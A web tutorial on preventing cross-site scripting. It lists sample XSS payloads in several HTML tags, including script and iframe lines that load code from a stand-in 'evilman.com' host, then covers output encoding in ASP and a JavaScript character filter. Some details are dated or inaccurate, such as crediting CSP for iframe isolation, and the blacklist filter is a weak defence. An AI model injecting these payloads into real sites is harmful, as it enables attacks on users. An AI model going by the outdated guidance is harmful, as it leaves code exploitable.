How To Prevent Cross-Site Scripting (XSS) Security Issues?

Views: 2206
Comments: 0
Like/Unlike: 0
Posted On: 04-Jun-2016 23:53 

Share:   fb twitter linkedin
NiceOne...
1390 Points
18 Posts

Introduction

Dynamically generated HTML pages can open security risks if inputs (any control that can user input) are not validated either on the way of showing data to end user or getting data from end user. Malicious script can be embedded within input that is submitted to Web pages and appear to browsers as originating from a trusted source. This problem is mention to as a cross-site scripting security issue.

The main cause

The main cause of this problem is that many Web pages display input that is not validated. If input is not validated, malicious script can be embedded within the input. If a server-side script then displays this non-validated input, the script runs on the browser as though the trusted site generated it.

Some examples of Cross-site Scripting attack

The following is a some list of XSS attack that an attacker could use to compromise the security of a website or web application through an XSS attack.

<script> tag

The <script> tag is the simple XSS payload. A script tag can either reference external JavaScript code, or embed the code within the script tag.

<!-- External script -->
<script src=https://evilman.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>

<body> tag

An XSS payload can be delivered inside <body> tag by using the onload attribute or other more obscure attributes such as the background attribute.

<!-- onload attribute -->
<body onload=alert("XSS")>
<!-- background attribute -->
<body background="javascript:alert(" XSS")">

<img> tag

Some browsers will execute JavaScript when found in the <img>.

<!-- <img> tag XSS -->
<img src="javascript:alert(" XSS");">
<!-- tag XSS using lesser-known attributes -->
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">

<iframe> tag

The <iframe> tag allows the embedding of another HTML page into the parent page. An IFrame can contain JavaScript, however, it’s important to note that the JavaScript in the iFrame does not have access to the DOM of the parent’s page do to the browser’s Content Security Policy (CSP). However, IFrames are still very popular means of pulling off phishing attacks.

<!-- <iframe> tag XSS -->
<iframe src=”https://evilman.com/xss.html”>

<input> tag

In some browsers, if the type attribute of the <input> tag is set to image, it can be manipulated to embed a script.

<!-- <input> tag XSS -->
<input type="image" src="javascript:alert('XSS');">

<link> tag

The <link> tag, which is often used to link to external style sheets could contain a script.

<!-- <link> tag XSS -->
<link rel="stylesheet" href="javascript:alert('XSS');">

Prevention

Here we discus few approaches to preventing cross-site scripting security attacks. It is important that in all techniques, you are validating data that you receive from input, url parameter and not your trusted script. Essentially, prevention means that you follow good coding practice by running sanity checks on your input to your routines.

The following list outlines the general approaches to prevent cross-site scripting attacks:

  • Encode output based on input parameters.
  • Filter input parameters for special characters.
  • Filter output based on input parameters for special characters.

Encode output based on input parameters

When you filter or encode, you must specify a character set for your Web pages to ensure that your filter is checking for the appropriate special characters. The data that is inserted into your Web pages should filter out byte sequences that are considered special based on the specific character set. A popular charset is ISO 8859-1, which was the default in early versions of HTML and HTTP. You must take into account localization issues when you change these parameters.

Encode output based on input parameters for special characters

Encode data that is received as input when you write it for HTML out. This technique is effective on data that was not validated for some reason during input from user. By using techniques such as URLEncode and HTMLEncode, you can prevent almost malicious script from executing.

From following code snippets you can understand how to use URLEncode and HTMLEncode from Active Server Pages (ASP) pages:

<%
var BaseURL = http://www.nicesite.com/search.asp?searchagain=;
Response.write("<a href=\"" + BaseUrl +
Server.URLEncode(Request.QueryString("SearchString")) +
"\">click-me</a>");
%>
<% Response.Write("Hello visitor <I>" +
Server.HTMLEncode(Request.Form("UserName")) +
"</I>");
%>

If you encode the HTML and URLs, you may need to specify the code page as you would if you were to filter data. It is important to note that calling HTMLEncode on the string that is about to be displayed will prevent any script in it from being executed and thus prevents the problem.

Filter input parameters for special characters

You can filter input data by removing some or all special characters from your input. Special characters are characters that enable script to be generated within an HTML tags. Special characters include the following:

< > " ' % ; ) ( & + -

Note that your individual situation may warrant the filtering of additional characters or strings beyond the special characters.

The following sample filter, which is written in JavaScript, demonstrates how to remove special characters from input when user type:

<script>
function RemoveBad(strTemp) {
strTemp = strTemp.replace(/\<|\>|\"|\'|\%|\;|\(|\)|\&|\+|\-/g, "");
return strTemp;
}
</script>

While the problem applies to any page that uses input to dynamically generate HTML, the following are some possible sources of malicious data to help you spot check for potential security risks:

  • Query String
  • Cookies
  • Posted data
  • URLs and pieces of URLs, such as PATH_INFO
  • Data retrieved from users that is persisted in some fashion such as in a database

Conclusion

In the end of discussion you need to remember following main point that cause cross-site scripting security problem:

  • The problem affects dynamic page creation based on input and URL that was not validated.
  • Lock of a sanity check on input data can have unexpected security implications.

XSS problem is preventable through good development standards such as input validation and url encoding. You need to evaluate solutions on a per site, page, and even, and input field basis and use a technique that makes sense.

0 Comments
 Log In to Chat